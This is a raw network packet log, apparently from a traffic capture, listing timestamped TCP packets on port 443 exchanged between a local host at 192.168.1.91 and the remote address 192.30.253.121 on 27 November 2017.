Nov 27, 2017 12:34:52.560272932 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560297966 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560321093 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560338020 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560358047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560370922 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.560394049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560410976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560422897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560440063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560451031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560461998 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560476065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560491085 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.560506105 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.560514927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.561077118 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.561090946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562231064 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562247038 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562325001 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.562344074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562364101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562383890 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562447071 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.562460899 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562506914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562526941 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.562592030 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.562607050 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.567270994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.567296982 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.567359924 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.567378044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.569271088 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.569295883 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.569385052 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.569399118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.575864077 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.575889111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.579313993 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.579339981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.579705000 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.579727888 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.605227947 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.605263948 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.605389118 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.605412006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.605988979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.606013060 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.606126070 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.606139898 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.628846884 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.628894091 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.628916025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.629107952 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.629129887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.630251884 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.630278111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.630419970 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.630434990 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.638928890 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.638961077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.639050961 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.639065981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.653084040 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.656178951 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.669733047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.669766903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.669775963 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.669889927 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.670196056 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.672188044 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.672209978 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.672219038 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.672549009 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.672564030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.673429012 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.677865028 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.677887917 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.677896976 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.678041935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.706684113 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.706717014 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.706733942 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.706864119 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.708251953 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.708280087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.708291054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.708682060 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.715945005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.715977907 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.715986967 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.716116905 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.727359056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.728223085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.728247881 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.728390932 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.728410006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.730051994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.730078936 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.730146885 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.730164051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.733798027 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.733825922 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.734072924 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.734091043 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.736937046 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.737199068 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.737216949 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.741153955 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.741307974 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.741327047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.746552944 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.746579885 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.746726036 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.746750116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.749914885 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.749943018 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.750051975 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.750076056 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.750886917 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.750912905 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.750987053 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.750999928 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.751012087 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.751019955 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.751029968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.751462936 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.752625942 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.753572941 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.768193960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.768230915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.768354893 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.768374920 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.771862030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.771892071 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.771995068 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.772013903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.772681952 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.772692919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.772780895 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.772794008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.773261070 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.775998116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.776029110 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.776045084 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.776340961 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.779891968 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.780210972 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.780225039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.780415058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.780433893 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.780447960 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.780656099 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.780683041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.781333923 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.788897991 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.788933039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.789220095 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.789249897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.789815903 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.789850950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.789951086 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.789969921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.802012920 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.802052975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.802282095 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.802299023 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.803863049 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.803895950 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.804023981 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.804044008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.809989929 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.810024977 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.810136080 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.810167074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.822696924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.822736979 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.822856903 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.822880030 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.844129086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.844156981 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.845262051 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.845288038 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.845308065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.845526934 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.845571995 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.845801115 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.845822096 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.846048117 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.846074104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.846497059 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.847067118 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.847095013 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.847146034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.847254038 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.847285986 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.848545074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.848567009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.848716974 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.848752975 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.849278927 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.849303961 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.849493980 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.849528074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.851320982 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.851840973 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.853651047 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.853671074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.853961945 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.853977919 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.854305983 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.854479074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.854496956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.854551077 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.854662895 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.854760885 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.854779005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.854980946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.854999065 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.855305910 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.855319023 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.857048988 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.857336044 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.874993086 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.875015974 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.875030994 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.875340939 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.875736952 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.875756025 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.875765085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.876025915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.876135111 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.876152039 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.876288891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.876306057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.876534939 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.876554012 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.877150059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.877177954 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.877378941 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.877397060 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.877413034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.877590895 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.877605915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.878658056 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.881783009 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.881805897 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.881827116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.881939888 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.882282019 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.882437944 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.882455111 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.882695913 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.882806063 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.882822037 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.882837057 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.883081913 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.885762930 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.885783911 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.885802031 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.886328936 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.890455008 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.890485048 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.890496016 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.890595913 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.898279905 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.898309946 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.898320913 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.898622990 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.899980068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.900799990 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.900825024 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.900932074 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.900953054 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.905352116 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.905381918 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.905476093 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.905495882 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.906480074 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.906503916 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.906577110 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.906594992 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.907782078 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.907803059 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.907849073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.908097029 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.908113003 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.928174973 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.928206921 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.928303003 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.928319931 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.932775021 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.932799101 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.933115005 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.933132887 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.934117079 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.934135914 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.934572935 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.934595108 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.936975956 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.937417984 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.937436104 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.937736034 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.937752962 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.937834024 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.937851906 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.941318989 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.941339970 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.941430092 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.941451073 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.948890924 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.948920965 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.949080944 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.949105024 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.951596022 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.951639891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.951724052 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.951741934 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.953816891 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.953835011 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.953907013 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.953923941 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.960401058 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.960433006 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.960546017 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.960567951 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.963033915 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.963057041 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.963216066 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.963216066 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.963236094 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.963252068 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.963274002 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.963676929 CET	49167	443	192.168.1.91	192.30.253.121
Nov 27, 2017 12:34:52.965816021 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.967911005 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.967935085 CET	443	49167	192.30.253.121	192.168.1.91
Nov 27, 2017 12:34:52.968017101 CET	49167	443	192.168.1.91	192.30.253.121
